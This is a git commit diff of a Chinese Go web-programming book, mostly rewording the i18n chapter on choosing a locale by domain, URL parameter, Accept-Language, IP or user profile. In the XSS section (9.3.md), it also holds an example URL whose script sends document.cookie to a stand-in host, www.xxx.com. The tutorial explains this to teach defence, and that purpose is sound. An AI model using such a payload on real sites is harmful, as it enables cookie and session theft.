修改了一些错误信息
This commit is contained in:
32
10.1.md
32
10.1.md
@@ -1,16 +1,17 @@
|
||||
##10.1 设置默认地区
|
||||
##什么是地区
|
||||
地区是一组描述世界上某一特定区域文本格式和语言习惯的设置集合。地区名通常由三个部分组成:第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分将同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是一个可选的字符集说明符,例如"zh_CN.gb2312"表示中国实用gb2312字符集。
|
||||
##什么是Locale
|
||||
Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成:第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国实用gb2312字符集。
|
||||
|
||||
GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三部分,接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。
|
||||
|
||||
GO语言默认是"UTF-8"字符集,所以我们这一章实现的i18n不考虑地区的第三部分,接下来我们都采用地区描述的前面两部分来作为i18n标准的地区名。
|
||||
|
||||
>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名,读者可以看到这些地区名的命名规范。对于BSD等系统,没有locale命令,但是地区信息存储在/usr/share/locale中。
|
||||
|
||||
##设置地区
|
||||
有了上面对地区的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置地区,我们可以通过如下几种方式来设置用户的地区。
|
||||
##设置Locale
|
||||
有了上面对locale的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale,我们可以通过如下几种方式来设置用户的locale。
|
||||
|
||||
###通过域名设置地区
|
||||
我们设置地区有一个办法就是在应用运行的时候才用域名分级的方式,例如,我们采用www.asta.com当做我们的英文站(默认站),而把域名www.asta.cn当做中文站点的域名。这样在我们应用里面设置对应的域名和地区的对应关系,就可以设置好地区。这样处理有几点好处:
|
||||
###通过域名设置Locale
|
||||
设置Locale的办法这一就是在应用运行的时候采用域名分级的方式,例如,我们采用www.asta.com当做我们的英文站(默认站),而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处:
|
||||
|
||||
- 通过URL就可以很明显的识别
|
||||
- 用户可以通过域名很直观的知道将访问那种语言的站点
|
||||
@@ -39,19 +40,20 @@ GO语言默认是"UTF-8"字符集,所以我们这一章实现的i18n不考虑
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
通过域名设置地区有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个愿意去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。
|
||||
通过域名设置Locale有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个Locale就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个站点去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。
|
||||
|
||||
###从域名参数设置地区
|
||||
目前最常用的设置地区的方式是在URL里面带上参数,例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。
|
||||
###从域名参数设置Locale
|
||||
目前最常用的设置Locale的方式是在URL里面带上参数,例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。
|
||||
|
||||
这种设置地区方式几乎拥有上面通过域名设置地区的优点,他采用RESTful的方式,这种方式使得我们不需要增加额外的方式来处理他。但是这种方式需要我们在每一个我们的link里面增加相应的参数locale,这也许有点复杂而且有时候可能做起来相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数。
|
||||
这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点,它采用RESTful的方式,以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale,这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。
|
||||
|
||||
也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现):
|
||||
|
||||
mux.Get("/:locale/books", listbook)
|
||||
|
||||
###从客户端设置地区
|
||||
在一些特殊的情况下,我们需要根据客户端的信息来设置地区而不是通过URL,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),也可能根据用户访问站点时的IP地址,也可能根据用户在注册的时候填写的所在地信息。这种方式比较适合Web为基础的应用。
|
||||
在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置Locale,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),用户的IP地址,用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。
|
||||
|
||||
- Accept-Language
|
||||
|
||||
客户端请求的时候在HTTP头信息里面有`Accept-Language`,一般的客户端都会设置该信息,下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码:
|
||||
@@ -67,14 +69,14 @@ GO语言默认是"UTF-8"字符集,所以我们这一章实现的i18n不考虑
|
||||
当然在实际应用中,可能需要更加严格的判断来进行设置地区
|
||||
- IP地址
|
||||
|
||||
另一种根据客户端来设定地区就是用户访问的IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是这个库:GeoIP Lite Country。这种设置地区的机制非常简单,我们只需要根据IP数据库查询用户的IP然后返回国家地区,根据返回的结果设置对应的地区。
|
||||
另一种根据客户端来设定地区就是用户访问的IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单,我们只需要根据IP数据库查询用户的IP然后返回国家地区,根据返回的结果设置对应的地区。
|
||||
|
||||
- 用户profile
|
||||
|
||||
当然你也可以在你的Web应用中让用户来设置相应的地区,用户根据你提供的下来菜单或者别的选择相应的地区设置,Web中保存相应的设置,当用户再次登陆的时候把这个设置复写到地区设置中,这样就可以保证该用户每次访问都是基于自己先前设置的地区访问。
|
||||
当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale,然后我们将用户输入的信息,保存到与它帐号相关的profile中,当用户再次登陆的时候把这个设置复写到locale设置中,这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。
|
||||
|
||||
##总结
|
||||
通过上面的介绍,设置地区可以有很多种方式,根据应用程序的不同来选择不同的方式设置地区,但是我们最终期望达到的目的就是让用户访问正确的地区语言,让英语用户访问英文站点,让中文用户访问中文站点。
|
||||
通过上面的介绍可知,设置Locale可以有很多种方式,我们应该根据需求的不同来选择不同的设置Locale的方法,以让用户能以它最熟悉的方式,获得我们提供的服务,提高应用的用户友好性。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
|
||||
12
10.md
12
10.md
@@ -1,19 +1,19 @@
|
||||
##10 国际化和本地化
|
||||
随着全球经济的一体化,软件开发者应该开发出支持多国语言、国际化的Web应用。对于Web应用来说,同样的页面在不同的语言环境下需要显示不同的效果。也就是说,一个Web应用程序在运行时能够根据客户端请求所来自的国家和语言显示不同的用户界面。这样 ,当需要在应用程序中添加对一种新的语言的支持时,无需修改应用程序的代码。
|
||||
为了适应经济的全球一体化,作为开发者,我们需要开发出支持多国语言、国际化的Web应用,即同样的页面在不同的语言环境下需要显示不同的效果,也就是说应用程序在运行时能够根据请求所来自的地域与语言的不同而显示不同的用户界面。这样,当需要在应用程序中添加对新的语言的支持时,无需修改应用程序的代码,只需要增加语言包即可实现。
|
||||
|
||||
国际化与本地化(Internationalization and localization,通常用i18n和L10N表示),国际化是指针对一个为某一个地区设计的程序进行重构,使得它能够在更多地区使用,本地化是指在一个面向国际化的程序中增加一个新地区的支持。
|
||||
国际化与本地化(Internationalization and localization,通常用i18n和L10N表示),国际化是将针对某个地区设计的程序进行重构,以使它能够在更多地区使用,本地化是指在一个面向国际化的程序中增加对新地区的支持。
|
||||
|
||||
Go语言目前标准包里面没有i18n的支持,但有一些第三方库支持,但是都是比较简单的实现,我们通过这一章的介绍将实现一个go-i18n库,用来支持Go语言的i18n。
|
||||
目前,Go语言的标准包没有提供对i18n的支持,但有一些比较简单的第三方实现,这一章我们将实现一个go-i18n库,用来支持Go语言的i18n。
|
||||
|
||||
所谓的国际化:就是根据特定的locale信息,提取相应的字符串和其它一些东西(比如时间和货币的格式)等等。那么这个里面需要解决三个问题:
|
||||
所谓的国际化:就是根据特定的locale信息,提取与之相应的字符串或其它一些东西(比如时间和货币的格式)等等。这涉及到三个问题:
|
||||
|
||||
1、如何确定locale。
|
||||
|
||||
2、如何保存这些locale相关的字符串和其它信息。
|
||||
2、如何保存与locale相关的字符串或其它信息。
|
||||
|
||||
3、如何根据locale提取字符串和其它相应的信息。
|
||||
|
||||
我们将在第一小节里面介绍如何设置正确的locale以便让访问你的站点的用户能够得到相应的正确的语言。第二小节里面介绍本地化如何处理字符串、货币、时间日期等信息,如何存储locale对应的信息,第三小节将介绍如何实现国际化站点,如何根据不同locale返回不同的字符串。通过这三个小节的介绍,将实现一个完整的i18n方案。
|
||||
在第一小节里,我们将介绍如何设置正确的locale以便让访问站点的用户能够获得与其语言相应的页面。第二小节将介绍如何处理或存储字符串、货币、时间日期等与locale相关的信息,第三小节将介绍如何实现国际化站点,即如何根据不同locale返回不同合适的内容。通过这三个小节的学习,我们将获得一个完整的i18n方案。
|
||||
|
||||
## 目录
|
||||
* 1 [设置默认地区](10.1.md)
|
||||
|
||||
2
9.3.md
2
9.3.md
@@ -21,7 +21,7 @@ Web应用未对用户提交请求的数据做充分的检查过滤,允许用
|
||||
|
||||
hello astaxie
|
||||
|
||||
如果我们传递这样的url:"http://127.0.0.1/?name=alert('astaxie,xss')",这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:"http://127.0.0.1/?name=<script>document.location='http://www.xxx.com/cookie?'%20+document.cookie</script>",这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也放会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?,攻击者将缩短过后的url通过某些途径传播开来,被攻击用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样就盗得了cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个可怜的用户的账户信息了。
|
||||
如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location='http://www.xxx.com/cookie?'%20+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也放会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?,攻击者将缩短过后的url通过某些途径传播开来,被攻击用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样就盗得了cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个可怜的用户的账户信息了。
|
||||
|
||||
更加详细的关于XSS的分析大家可以参考这篇叫做《新浪微博XSS事件分析》的文章(http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)
|
||||
|
||||
|
||||
2
9.4.md
2
9.4.md
@@ -56,7 +56,7 @@ SQL注入攻击的危害这么大,那么该如何来防治呢?下面这些建
|
||||
- 1、严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
|
||||
- 2、检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包里面的字符串转化成相应格式的数据进行判断。
|
||||
- 3、对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go里面`text/template`里面的`HTMLEscapeString`函数进行转义处理。
|
||||
- 3、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如`database/sql`里面的查询的话首先执行`Prepare`然后执行`Query`,更新或者插入的话`Exec(query string, args ...interface{})`
|
||||
- 3、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`
|
||||
- 4、在应用发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。例如sqlmap、SQLninja等SQL注入检测工具,网上应该有很多这方面的开源工具。
|
||||
- 5、避免网站打印出来SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
|
||||
|
||||
|
||||
Reference in New Issue
Block a user